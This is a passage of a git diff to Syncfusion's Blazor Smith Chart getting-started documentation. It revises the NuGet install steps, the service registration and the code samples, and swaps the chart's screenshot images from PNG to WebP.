@@ -112,28 +77,29 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SmithChart NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
 
-To add the **Blazor Smith Chart** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.SmithChart](https://www.nuget.org/packages/Syncfusion.Blazor.SmithChart/) NuGet package. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.SmithChart](https://www.nuget.org/packages/Syncfusion.Blazor.SmithChart/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following command in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.SmithChart -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.SmithChart -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
+After the package is installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -144,25 +110,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -170,23 +128,26 @@ await builder.Build().RunAsync();
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the `<head>` section of the **~/index.html** file.
+The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
 N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Smith Chart component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smith Chart component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smith Chart component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Charts
+
+@using Syncfusion.Blazor.Charts
 
 <SfSmithchart>
 
@@ -209,7 +170,9 @@ The following sample demonstrates adding two series to Smith Chart in both ways.
 * Second series `Transmission2` shows `Points` bound series.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Charts
 
 <SfSmithChart>
     <SmithChartSeriesCollection>
@@ -267,14 +230,18 @@ The following sample demonstrates adding two series to Smith Chart in both ways.
 
 Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smith Chart component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLzXCAtAueCOnlF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Transmission Series](./images/blazor-smith-chart-series.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLzXCAtAueCOnlF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Transmission Series](./images/blazor-smith-chart-series.webp)" %}
 
 ## Adding Title
 
 Title can be added to the Smith Chart to provide a quick information to the users about the context of the rendered component. Add a title by using the [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartTitle.html#Syncfusion_Blazor_Charts_SmithChartTitle_Text) property in the [SmithChartTitle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartTitle.html).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Charts
+
+@using Syncfusion.Blazor.Charts
 
 <SfSmithChart>
     <SmithChartTitle Text="Impedance Transmission">
@@ -296,14 +263,18 @@ Title can be added to the Smith Chart to provide a quick information to the user
 
 N> Refer to the [code block](#adding-series-to-smith-chart) to know about the property value of `FirstTransmissionSeries` and `SecondTransmissionSeries`.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZBJXMUNfrbavmEP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Title](./images/blazor-smith-chart-with-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZBJXMUNfrbavmEP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Title](./images/blazor-smith-chart-with-title.webp)" %}
 
 ## Enable Marker
 
 To display marker for particular series, set the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartSeriesMarker.html#Syncfusion_Blazor_Charts_SmithChartSeriesMarker_Visible) property to **true** in the [SmithChartSeriesMarker](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartSeriesMarker.html).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Charts
+
+@using Syncfusion.Blazor.Charts
 
 <SfSmithChart>
     <SmithChartTitle Text="Impedance Transmission">
@@ -326,14 +297,18 @@ To display marker for particular series, set the [Visible](https://help.syncfusi
 
 N> Refer to the [code block](#adding-series-to-smith-chart) to know about the property value of `FirstTransmissionSeries` and `SecondTransmissionSeries`.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBJZMANTVYSwBSX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Marker](./images/blazor-smith-chart-marker.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBJZMANTVYSwBSX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Marker](./images/blazor-smith-chart-marker.webp)" %}
 
 ## Enable Data Label
 
 To display data label for particular marker series, set the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartSeriesDatalabel.html#Syncfusion_Blazor_Charts_SmithChartSeriesDatalabel_Visible) property to **true** in the [SmithChartSeriesDatalabel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartSeriesDatalabel.html).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Charts
+
+@using Syncfusion.Blazor.Charts
 
 <SfSmithChart>
     <SmithChartTitle Text="Impedance Transmission">
@@ -358,14 +333,18 @@ To display data label for particular marker series, set the [Visible](https://he
 
 N> Refer to the [code block](#adding-series-to-smith-chart) to know the property value of `FirstTransmissionSeries` and `SecondTransmissionSeries`.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLzjCANJgZtmWaL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Data Label](./images/blazor-smith-chart-data-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLzjCANJgZtmWaL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Data Label](./images/blazor-smith-chart-data-label.webp)" %}
 
 ## Enable Legend
 
 Use legend for the Smith Chart by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartLegendSettings.html#Syncfusion_Blazor_Charts_SmithChartLegendSettings_Visible) property to **true** in the [SmithChartLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartLegendSettings.html). The legend name can be changed by using the [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithchartSeries.html#Syncfusion_Blazor_Charts_SmithChartSeries_Name) property in the [SmithChartSeries](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithchartSeries.html).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Charts
+
+@using Syncfusion.Blazor.Charts
 
 <SfSmithChart>
     <SmithChartLegendSettings Visible="true"></SmithChartLegendSettings>
@@ -390,14 +369,18 @@ Use legend for the Smith Chart by setting the [Visible](https://help.syncfusion.
 
 N> Refer to the [code block](#adding-series-to-smith-chart) to know the property value of the `FirstTransmissionSeries` and the `SecondTransmissionSeries`.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNLfDCAjfUjfvoAi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Legend](./images/blazor-smith-chart-legend.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNLfDCAjfUjfvoAi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Legend](./images/blazor-smith-chart-legend.webp)" %}
 
 ## Enable Tooltip
 
 When space constraints prevents from displaying information using data labels, the tooltip comes in handy. The tooltip can be enabled by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartSeriesTooltip.html#Syncfusion_Blazor_Charts_SmithChartSeriesTooltip_Visible) property to **true** in the [SmithChartSeriesTooltip](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartSeriesTooltip.html).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Charts
+
+@using Syncfusion.Blazor.Charts
 
 <SfSmithChart>
     <SmithChartLegendSettings Visible="true"></SmithChartLegendSettings>
@@ -424,7 +407,7 @@ When space constraints prevents from displaying information using data labels, t
 
 N> Refer to the [code block](#adding-series-to-smith-chart) to know about the property value of the `FirstTransmissionSeries` and the `SecondTransmissionSeries`.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhztsKjJAXFyuof?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Tooltip](./images/blazor-smith-chart-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhztsKjJAXFyuof?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Tooltip](./images/blazor-smith-chart-tooltip.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/SmithChart).
 
diff --git a/blazor/smith-chart/images/Axis/blazor-smith-chart-axis-with-custom-label.png b/blazor/smith-chart/images/Axis/blazor-smith-chart-axis-with-custom-label.png
deleted file mode 100644
index e157145a3e..0000000000
Binary files a/blazor/smith-chart/images/Axis/blazor-smith-chart-axis-with-custom-label.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Axis/blazor-smith-chart-axis-with-custom-label.webp b/blazor/smith-chart/images/Axis/blazor-smith-chart-axis-with-custom-label.webp
new file mode 100644
index 0000000000..d569357ad8
Binary files /dev/null and b/blazor/smith-chart/images/Axis/blazor-smith-chart-axis-with-custom-label.webp differ
diff --git a/blazor/smith-chart/images/Axis/blazor-smith-chart-custom-axis-line.png b/blazor/smith-chart/images/Axis/blazor-smith-chart-custom-axis-line.png
deleted file mode 100644
index 222fb06b78..0000000000
Binary files a/blazor/smith-chart/images/Axis/blazor-smith-chart-custom-axis-line.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Axis/blazor-smith-chart-custom-axis-line.webp b/blazor/smith-chart/images/Axis/blazor-smith-chart-custom-axis-line.webp
new file mode 100644
index 0000000000..bd2b212645
Binary files /dev/null and b/blazor/smith-chart/images/Axis/blazor-smith-chart-custom-axis-line.webp differ
diff --git a/blazor/smith-chart/images/Axis/blazor-smith-chart-with-gridlines.png b/blazor/smith-chart/images/Axis/blazor-smith-chart-with-gridlines.png
deleted file mode 100644
index 8d8ca12488..0000000000
Binary files a/blazor/smith-chart/images/Axis/blazor-smith-chart-with-gridlines.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Axis/blazor-smith-chart-with-gridlines.webp b/blazor/smith-chart/images/Axis/blazor-smith-chart-with-gridlines.webp
new file mode 100644
index 0000000000..ec58ca1061
Binary files /dev/null and b/blazor/smith-chart/images/Axis/blazor-smith-chart-with-gridlines.webp differ
diff --git a/blazor/smith-chart/images/DataBinding/DataBind.png b/blazor/smith-chart/images/DataBinding/DataBind.png
deleted file mode 100644
index 6c8c70943e..0000000000
Binary files a/blazor/smith-chart/images/DataBinding/DataBind.png and /dev/null differ
diff --git a/blazor/smith-chart/images/DataBinding/DataBind.webp b/blazor/smith-chart/images/DataBinding/DataBind.webp
new file mode 100644
index 0000000000..710263dad7
Binary files /dev/null and b/blazor/smith-chart/images/DataBinding/DataBind.webp differ
diff --git a/blazor/smith-chart/images/Dimension/blazor-smith-chart-dimensions.png b/blazor/smith-chart/images/Dimension/blazor-smith-chart-dimensions.png
deleted file mode 100644
index 934980384c..0000000000
Binary files a/blazor/smith-chart/images/Dimension/blazor-smith-chart-dimensions.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Dimension/blazor-smith-chart-dimensions.webp b/blazor/smith-chart/images/Dimension/blazor-smith-chart-dimensions.webp
new file mode 100644
index 0000000000..9cb81271a9
Binary files /dev/null and b/blazor/smith-chart/images/Dimension/blazor-smith-chart-dimensions.webp differ
diff --git a/blazor/smith-chart/images/Legend/Toggle.png b/blazor/smith-chart/images/Legend/Toggle.png
deleted file mode 100644
index 6ab84c5df4..0000000000
Binary files a/blazor/smith-chart/images/Legend/Toggle.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Legend/Toggle.webp b/blazor/smith-chart/images/Legend/Toggle.webp
new file mode 100644
index 0000000000..3fcc802849
Binary files /dev/null and b/blazor/smith-chart/images/Legend/Toggle.webp differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-custom-legend.png b/blazor/smith-chart/images/Legend/blazor-smith-chart-custom-legend.png
deleted file mode 100644
index 992e937b8c..0000000000
Binary files a/blazor/smith-chart/images/Legend/blazor-smith-chart-custom-legend.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-custom-legend.webp b/blazor/smith-chart/images/Legend/blazor-smith-chart-custom-legend.webp
new file mode 100644
index 0000000000..c0c83f85d4
Binary files /dev/null and b/blazor/smith-chart/images/Legend/blazor-smith-chart-custom-legend.webp differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-alignment.png b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-alignment.png
deleted file mode 100644
index 20f902b370..0000000000
Binary files a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-alignment.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-alignment.webp b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-alignment.webp
new file mode 100644
index 0000000000..70be1d8ffe
Binary files /dev/null and b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-alignment.webp differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-shape.png b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-shape.png
deleted file mode 100644
index 72309a6277..0000000000
Binary files a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-shape.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-shape.webp b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-shape.webp
new file mode 100644
index 0000000000..ad7f11c6b1
Binary files /dev/null and b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-shape.webp differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-size.png b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-size.png
deleted file mode 100644
index 33d3b34223..0000000000
Binary files a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-size.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-size.webp b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-size.webp
new file mode 100644
index 0000000000..43a8ec133e
Binary files /dev/null and b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-custom-size.webp differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-position.png b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-position.png
deleted file mode 100644
index 5d516e0202..0000000000
Binary files a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-position.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-position.webp b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-position.webp
new file mode 100644
index 0000000000..599f7cdedb
Binary files /dev/null and b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-position.webp differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-row-and-column.png b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-row-and-column.png
deleted file mode 100644
index 5e026d5852..0000000000
Binary files a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-row-and-column.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-row-and-column.webp b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-row-and-column.webp
new file mode 100644
index 0000000000..7521ff31ec
Binary files /dev/null and b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-row-and-column.webp differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-title.png b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-title.png
deleted file mode 100644
index 470f85f803..0000000000
Binary files a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-title.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-title.webp b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-title.webp
new file mode 100644
index 0000000000..9de03eb427
Binary files /dev/null and b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-title.webp differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-custom-position.png b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-custom-position.png
deleted file mode 100644
index 8021acd9e0..0000000000
Binary files a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-custom-position.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-custom-position.webp b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-custom-position.webp
new file mode 100644
index 0000000000..c03849d827
Binary files /dev/null and b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-custom-position.webp differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-padding.png b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-padding.png
deleted file mode 100644
index cba90bf748..0000000000
Binary files a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-padding.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-padding.webp b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-padding.webp
new file mode 100644
index 0000000000..d3156b321e
Binary files /dev/null and b/blazor/smith-chart/images/Legend/blazor-smith-chart-legend-with-padding.webp differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-data-label.png b/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-data-label.png
deleted file mode 100644
index 2594dffd2f..0000000000
Binary files a/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-data-label.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-data-label.webp b/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-data-label.webp
new file mode 100644
index 0000000000..60856112b4
Binary files /dev/null and b/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-data-label.webp differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-marker.png b/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-marker.png
deleted file mode 100644
index c41628e54e..0000000000
Binary files a/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-marker.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-marker.webp b/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-marker.webp
new file mode 100644
index 0000000000..91fe6e5b12
Binary files /dev/null and b/blazor/smith-chart/images/Marker/blazor-smith-chart-custom-marker.webp differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label-template.png b/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label-template.png
deleted file mode 100644
index dca8f44891..0000000000
Binary files a/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label-template.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label-template.webp b/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label-template.webp
new file mode 100644
index 0000000000..e53cf2b0a1
Binary files /dev/null and b/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label-template.webp differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label.png b/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label.png
deleted file mode 100644
index 859d445262..0000000000
Binary files a/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label.webp b/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label.webp
new file mode 100644
index 0000000000..0b2239f855
Binary files /dev/null and b/blazor/smith-chart/images/Marker/blazor-smith-chart-data-label.webp differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-marker.png b/blazor/smith-chart/images/Marker/blazor-smith-chart-marker.png
deleted file mode 100644
index 2207afd521..0000000000
Binary files a/blazor/smith-chart/images/Marker/blazor-smith-chart-marker.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-marker.webp b/blazor/smith-chart/images/Marker/blazor-smith-chart-marker.webp
new file mode 100644
index 0000000000..ba303aac1f
Binary files /dev/null and b/blazor/smith-chart/images/Marker/blazor-smith-chart-marker.webp differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-with-smart-data-labels.png b/blazor/smith-chart/images/Marker/blazor-smith-chart-with-smart-data-labels.png
deleted file mode 100644
index 931975020f..0000000000
Binary files a/blazor/smith-chart/images/Marker/blazor-smith-chart-with-smart-data-labels.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Marker/blazor-smith-chart-with-smart-data-labels.webp b/blazor/smith-chart/images/Marker/blazor-smith-chart-with-smart-data-labels.webp
new file mode 100644
index 0000000000..0c3fb53991
Binary files /dev/null and b/blazor/smith-chart/images/Marker/blazor-smith-chart-with-smart-data-labels.webp differ
diff --git a/blazor/smith-chart/images/Print/export.png b/blazor/smith-chart/images/Print/export.png
deleted file mode 100644
index a7d598acb0..0000000000
Binary files a/blazor/smith-chart/images/Print/export.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Print/export.webp b/blazor/smith-chart/images/Print/export.webp
new file mode 100644
index 0000000000..0c905c1da4
Binary files /dev/null and b/blazor/smith-chart/images/Print/export.webp differ
diff --git a/blazor/smith-chart/images/Print/print.png b/blazor/smith-chart/images/Print/print.png
deleted file mode 100644
index 660b4ce692..0000000000
Binary files a/blazor/smith-chart/images/Print/print.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Print/print.webp b/blazor/smith-chart/images/Print/print.webp
new file mode 100644
index 0000000000..540736bba8
Binary files /dev/null and b/blazor/smith-chart/images/Print/print.webp differ
diff --git a/blazor/smith-chart/images/SmithChartSeries/Points.png b/blazor/smith-chart/images/SmithChartSeries/Points.png
deleted file mode 100644
index 01e8f110c5..0000000000
Binary files a/blazor/smith-chart/images/SmithChartSeries/Points.png and /dev/null differ
diff --git a/blazor/smith-chart/images/SmithChartSeries/Points.webp b/blazor/smith-chart/images/SmithChartSeries/Points.webp
new file mode 100644
index 0000000000..ea4e1b7677
Binary files /dev/null and b/blazor/smith-chart/images/SmithChartSeries/Points.webp differ
diff --git a/blazor/smith-chart/images/SmithChartSeries/blazor-smith-chart-series.png b/blazor/smith-chart/images/SmithChartSeries/blazor-smith-chart-series.png
deleted file mode 100644
index f8c6486478..0000000000
Binary files a/blazor/smith-chart/images/SmithChartSeries/blazor-smith-chart-series.png and /dev/null differ
diff --git a/blazor/smith-chart/images/SmithChartSeries/blazor-smith-chart-series.webp b/blazor/smith-chart/images/SmithChartSeries/blazor-smith-chart-series.webp
new file mode 100644
index 0000000000..49537398d6
Binary files /dev/null and b/blazor/smith-chart/images/SmithChartSeries/blazor-smith-chart-series.webp differ
diff --git a/blazor/smith-chart/images/Title/1TitleTrim.png b/blazor/smith-chart/images/Title/1TitleTrim.png
deleted file mode 100644
index a66a480521..0000000000
Binary files a/blazor/smith-chart/images/Title/1TitleTrim.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Title/1TitleTrim.webp b/blazor/smith-chart/images/Title/1TitleTrim.webp
new file mode 100644
index 0000000000..01d6bb78aa
Binary files /dev/null and b/blazor/smith-chart/images/Title/1TitleTrim.webp differ
diff --git a/blazor/smith-chart/images/Title/blazor-smith-chart-title-and-subtitle.png b/blazor/smith-chart/images/Title/blazor-smith-chart-title-and-subtitle.png
deleted file mode 100644
index b75d5cbb99..0000000000
Binary files a/blazor/smith-chart/images/Title/blazor-smith-chart-title-and-subtitle.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Title/blazor-smith-chart-title-and-subtitle.webp b/blazor/smith-chart/images/Title/blazor-smith-chart-title-and-subtitle.webp
new file mode 100644
index 0000000000..0a8e9c1484
Binary files /dev/null and b/blazor/smith-chart/images/Title/blazor-smith-chart-title-and-subtitle.webp differ
diff --git a/blazor/smith-chart/images/Title/blazor-smith-chart-trim-title.png b/blazor/smith-chart/images/Title/blazor-smith-chart-trim-title.png
deleted file mode 100644
index 29832dc45c..0000000000
Binary files a/blazor/smith-chart/images/Title/blazor-smith-chart-trim-title.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Title/blazor-smith-chart-trim-title.webp b/blazor/smith-chart/images/Title/blazor-smith-chart-trim-title.webp
new file mode 100644
index 0000000000..7c3686329b
Binary files /dev/null and b/blazor/smith-chart/images/Title/blazor-smith-chart-trim-title.webp differ
diff --git a/blazor/smith-chart/images/Title/blazor-smith-chart-with-custom-title.png b/blazor/smith-chart/images/Title/blazor-smith-chart-with-custom-title.png
deleted file mode 100644
index 68d5294219..0000000000
Binary files a/blazor/smith-chart/images/Title/blazor-smith-chart-with-custom-title.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Title/blazor-smith-chart-with-custom-title.webp b/blazor/smith-chart/images/Title/blazor-smith-chart-with-custom-title.webp
new file mode 100644
index 0000000000..2cc476516b
Binary files /dev/null and b/blazor/smith-chart/images/Title/blazor-smith-chart-with-custom-title.webp differ
diff --git a/blazor/smith-chart/images/Tooltip/blazor-smith-chart-custom-tooltip.png b/blazor/smith-chart/images/Tooltip/blazor-smith-chart-custom-tooltip.png
deleted file mode 100644
index 6a971a635c..0000000000
Binary files a/blazor/smith-chart/images/Tooltip/blazor-smith-chart-custom-tooltip.png and /dev/null differ
